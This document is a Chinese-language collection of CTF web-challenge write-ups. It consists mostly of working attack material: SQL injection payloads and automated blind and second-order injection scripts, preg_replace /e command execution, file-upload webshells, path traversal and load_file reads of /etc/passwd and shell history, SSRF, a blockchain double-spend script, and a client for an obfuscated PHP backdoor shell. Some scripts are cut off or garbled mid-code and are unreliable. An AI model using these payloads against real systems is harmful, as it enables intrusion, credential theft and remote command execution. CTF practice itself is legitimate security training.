我们就直接开始吧
源码给出了加密后的字符串,我们解密即可
代码块
import base64
def python_decode(string):
zimu = "abcdefghijklmnopqrstuvwxyz"
rot_13 =""
for i in string:
if i.isdigit():
rot_13 += i
else:
try:
rot_13 += zimu[zimu.index(i)-13]
except:
rot_13 += zimu[zimu.index(i.lower())-13].upper()
fz = rot_13[::-1]
base = base64.b64decode(fz)
base = [chr(ord(i)-1) for i in base]
fz = base[::-1]
print "".join(fz)
python_decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws")
翻来翻去,发现了/view.php?no=1有注入
但是我们输入的信息会被保存并序列化
最后我们构造语句即可
/view.php?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
解密后就是flag{c1e552fdf77049fabf65168f22f7aeab}
这是文件包含页面,我们先把index.php文件包含进来看看
/index.php?page=php://filter/convert.base64-encode/resource=index.php
解密后得到源码,preg_replace可以构造我们的语句
我们需要加上X-Forwarded-For: 127.0.0.1才行,在url中加上我们的语句即可防包
查看文件列表
/index.php?pat=/(.*)/e&rep=system('ls')&sub=aa
s3chahahaDir文件夹
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir')&sub=aa
查看flag文件夹
/index.php?pat=/(.*)/e&rep=system('ls+s3chahahaDir/flag')&sub=aa
/index.php?pat=/(.*)/e&rep=system('cat+s3chahahaDir/flag/flag.php')&sub=aa
查看flag
简单的扫目录发现了login.php页面并且还有个debug参数可以查看源码
注意啊,这里的数据库不是mysql,是sqlite
查询出来账号密码,admin,ThinJerboa
然后拿这账号密码去admin.php登录进去就可以了
我们把url参数修改成%88发现报错了
通过报错信息我们发现数据库
我们再用django的方式打开
/index.php?url=@/opt/api/database.sqlite3
搜索ctf就看到了
Findpwd.php页面存在sql注入,我们注入后得到
用户名 c3tlwDmIn23
密码 1qazWSXED56yhn8ujm9olk81wdfTG
问题 cetc
答案 cdwcewf2e3235y7687jnhbvdfcqsx12324r45y687o98kynbgfvds
我们再拿着这些去注册,然后登录即可
cyberpeace{10bf9ff59ea400d251cb367f98900734}
首先注册一个用户
进去找回密码
抓包,把username修改成admin实现修改admin的密码
进如manage页面,需要抓包修改x-forwarded-for为127.0.0.1
进去后查看源码,我们把do修改upload然后在url中打开
上传文件时抓包,把后缀修改成php5,内容修改成
即可
/index.php?page=&id=1/9&submit=
构建exp为file=../123.php/1.php/..&con=,用post方式进行传递
访问/uploaded/123.php?bash=cat ../flag.php
在查看源码即可获取flag
这里有个上传点
我们利用这个上传点即可
用curl命令
这是一个二次注入
一个注册页面和登录页面
直接给出代码,修改注册url和登录url即可跑
代码块
import requests
import re
register_url = "http://124.126.19.106:55701/register.php"
login_url = "http://124.126.19.106:55701/login.php"
database = ""
table_name = ""
column_name = ""
flag = ""
#获取数据库名
for i in range(1,10):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
database = database + chr(int(asc))
print('database:',database)
#获取表名
'''
for i in range(1,20):
register_data = {
'email':'test@test'+ str(i),
'username':"0'+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
print(r.text)
login_data = {
'email':'test@test'+ str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
r.encoding = r.apparent_encoding
print(r.text)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
table_name = table_name + chr(int(asc))
print('table_name:',table_name)
'''
#获取flag
for i in range(1,100):
register_data = {
'email':'test@test'+ str(i) + str(i),
'username':"0'+ascii(substr((select * from flag) from %d for 1))+'0"%i,
'password':123
}
r = requests.post(url=register_url,data=register_data)
login_data = {
'email':'test@test'+ str(i) + str(i),
'password':123
}
r = requests.post(url=login_url,data=login_data)
match = re.search(r'\s*(\d*)\s*',r.text)
asc = match.group(1)
if asc == '0':
break
flag = flag + chr(int(asc))
print('flag:',flag)
/post.wtf?post=../
可以看到网站源码
登录admin即可获取flag
/post.wtf?post=../users/
这里有所有用户的cookie和token
上面是cookie下面是token
修改username是admin和token即可
这是一个flag还有一个
创建一名用户,名为${find,/,-name,get_flag2},登录此用户进行回复
访问后台路径
创建一名用户,名为$/usr/bin/get_flag2,重复上一步的操作,可以得到flag2,即可
首先是进行注册并登录用户
当我们上传select和from图片的时候图片名会被换为空,也就是被过滤了
1. 库名
file_name' +(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg
# 得到库名:web_upload
2. 表名
file_name'+(seleselectct+conv(substr(hex((selselectect table_name frfromom information_schema.tables where table_schema = 'web_upload' limit 1,1)),1,12),16,10))+'.jpg
# 得到表名:hello_flag_is_here
3. 字段
file_name'+(seleselectct+conv(substr(hex((selselectect COLUMN_NAME frfromom information_schema.COLUMNS where TABLE_NAME = 'hello_flag_is_here' limit 1,1)),1,12),16,10))+'.jpg
# 得到字段名:i_am_flag
4. 获得数据
file_name'+(seleselectct+CONV(substr(hex((seselectlect i_am_flag frfromom hello_flag_is_here limit 0,1)),13,12),16,10))+'.jpg
# 得到flag:!!_@m_Th.e_F!lag
通关目录扫描发现了config.txt文件,应该是config.php的代码了
注册登录下,因为等级低不能上传,我们需要邀请人来获取积分
我们又注册了一些用户,邀请人写一开始注册的用户名
我有一定的积分了可以上传了,并且有遍历上传目录
爆破目录发现有个后门
只需要修改url即可
代码块
#!/usr/bin/env python
# encoding: utf-8
from random import randint,choice
from hashlib import md5
import urllib
import string
import zlib
import base64
import requests
import re
def choicePart(seq,amount):
length = len(seq)
if length == 0 or length < amount:
print 'Error Input'
return None
result = []
indexes = []
count = 0
while count < amount:
i = randint(0,length-1)
if not i in indexes:
indexes.append(i)
result.append(seq[i])
count += 1
if count == amount:
return result
def randBytesFlow(amount):
result = ''
for i in xrange(amount):
result += chr(randint(0,255))
return result
def randAlpha(amount):
result = ''
for i in xrange(amount):
result += choice(string.ascii_letters)
return result
def loopXor(text,key):
result = ''
lenKey = len(key)
lenTxt = len(text)
iTxt = 0
while iTxt < lenTxt:
iKey = 0
while iTxt ')
while cmd != '':
# build junk data in referer
query = []
for i in xrange(max(indexes)+1+randint(0,2)):
key = randAlpha(randint(3,6))
value = base64.urlsafe_b64encode(randBytesFlow(randint(3,12)))
query.append((key, value))
debugPrint('Before insert payload:')
debugPrint(query)
debugPrint(urllib.urlencode(query))
# encode payload
payload = zlib.compress(cmd)
payload = loopXor(payload,xorKey)
payload = base64.urlsafe_b64encode(payload)
payload = md5head + payload
# cut payload, replace into referer
cutIndex = randint(2,len(payload)-3)
payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)
iPiece = 0
for i in indexes:
query[i] = (query[i][0],payloadPieces[iPiece])
iPiece += 1
referer = url + '?' + urllib.urlencode(query)
debugPrint('After insert payload, referer is:')
debugPrint(query)
debugPrint(referer)
# send request
r = sess.get(url,headers={'Accept-Language':acceptLangStr,'Referer':referer},proxies=proxies)
html = r.text
debugPrint(html)
# process response
pattern = re.compile(r'<%s>(.*)%s>' % (xorKey,xorKey))
output = pattern.findall(html)
if len(output) == 0:
print 'Error, no backdoor response'
cmd = raw_input('phpshell > ')
continue
output = output[0]
debugPrint(output)
output = output.decode('base64')
output = loopXor(output,xorKey)
output = zlib.decompress(output)
print output
cmd = raw_input('phpshell > ')
直接给出代码块
修改ip和addr即可
# -*- encoding: utf-8 -*-# written in python 2.7import hashlib, json, rsa, uuid, os,requests,re
# 一堆变量常量
url_root="http://127.0.0.1:8004/"
url_create="http://127.0.0.1:8004/create_transaction"
url_flag="http://127.0.0.1:8004/flag"
s=requests.Session()
ddcoin = s.get(url=url_root)
prev_one=re.search(r"hash of genesis block: ([0-9a-f]{64})",ddcoin.content, flags=0).group(1)
bank_utox_id=re.search(r"\"input\": \[\"([0-9a-f\-]{36})",ddcoin.content, flags=0).group(1)
bank_signature=re.search(r"\"signature\": \[\"([0-9a-f]{96})",ddcoin.content, flags=0).group(1)
DIFFICULTY = int('00000' + 'f' * 59, 16)
EMPTY_HASH = '0'*64
bank_addr="8035b93fe9a77c9980187fe960c25c58b155e89197aff81397ffbf9839f8bd6230dcda2ce676196c52eb7d4db99b643d"
hacke_addr="8603657fab78f286cea3b21f03d4ba8533378eedbb3b9dcb44e92966e0a9ab73cd1e775908aa1d23c01e8286d6af84ed"
shop_addr="ab8fa2dbba011081385750c88cba4085d19d793a2a5b485366269378a3eeef9621fb792665b3a527bcde10b50bb8e567"
# 源码中的API
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature':[bank_signature], 'output': output_utxo} # 修改了签名
tx['hash'] = hash_tx(tx)
return tx
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
# 构造的方法
def check_hash(prev,tx):
for i in range(10000000):
current_block=create_block(prev,str(i),tx)
block_hash = int(current_block['hash'], 16)
if block_hash
目录扫描发现登录页面和.git
登录页面直接弱口令进去
账号zhangwei
密码zhangwei666
Git泄露使用GitHack下载下来即可
查询passwd;',content=(select load_file('//etc/passwd')),/*
使用*/#闭合注入语句
读取www用户的/bin/bash_history:',content=(select load_file('//home/www/.bash_history')),/*
查询.DS_Store文件:',content=(select hex(load_file('//tmp/html/.DS_Store'))),/*
获取十六进制的flag
',content=(select hex(load_file('//var/www/html/flag_8946e1ff1ee3e40f.php'))),/*
转成文本即可
有一个下载页面
还有secret有两文件
点paper会向download.php传参,可以下载一个ssrf内容的pdf,于是利用ssrf来访问secret_debug.php
给出代码
代码块
# !/usr/bin/env python
import requests import random import urllib
url = 'http://192.168.1.127:20002/download.php'
# subquery = "database()"
# subquery = "select table_name from information_schema.tables where
table_schema='ssrfw' LIMIT 1"
# subquery = "select column_name from information_schema.columns where
table_name='cetcYssrf' LIMIT 1"
# subquery = "select column_name from information_schema.columns where
table_name='cetcYssrf' LIMIT 1 OFFSET 1"
subquery = "select value from cetcYssrf LIMIT 1"
dl = '%x'%random.getrandbits(256)
d = ('`http://127.0.0.1/secret/secret_debug.php?`' + urllib.urlencode({
"s":"3", "txtfirst_name":"A','b',("+subquery+"),'c'/ _", "txtmiddle_name":"B",
"txtname_suffix":"C", "txtLast_name":"D", "txtdob":"_ /,'E", "txtdl_nmbr":dl,
"txtRetypeDL":dl }) + "&")
r = requests.get(url, params={"dl":d}) print r.text[812:844];
访问/loadimage?fileName=../../WEB-INF/web.xml
得到配置文件
获取class文件的路径
/loadimage?fileName=../../WEB-INF/classes/struts.xml
还有一个配置文件
/loadimage?fileName=../../WEB-INF/classes/applicationContext.xml
然后再构造url使得获取admin权限
/zhuanxvlogin?user.name=admin%27%0Aor%0A%271%27%3E%270'%0Aor%0Aname%0Alike%0A'admin&user.password=1
最后就是配合python跑出flag即可
import requests
s=requests.session()
FLAG=''
for i in range(1,50):
p=''
for j in range(1,255):
payload="(select%0Aascii(substr(id,"+str(i)+",1))%0Afrom%0AFlag%0Awhere%0Aid<2)<'"+str(j)+"'"
#print payload
url="http://124.126.19.106:51322//zhuanxvlogin?user.name=admin'%0Aor%0A"+payload+"%0Aor%0Aname%0Alike%0A'admin&user.password=1"
r1=s.get(url)
#print url
#print len(r1.text)
if len(r1.text)>20000 and p!='':
FLAG+=p
print i,FLAG
break
p=chr(j)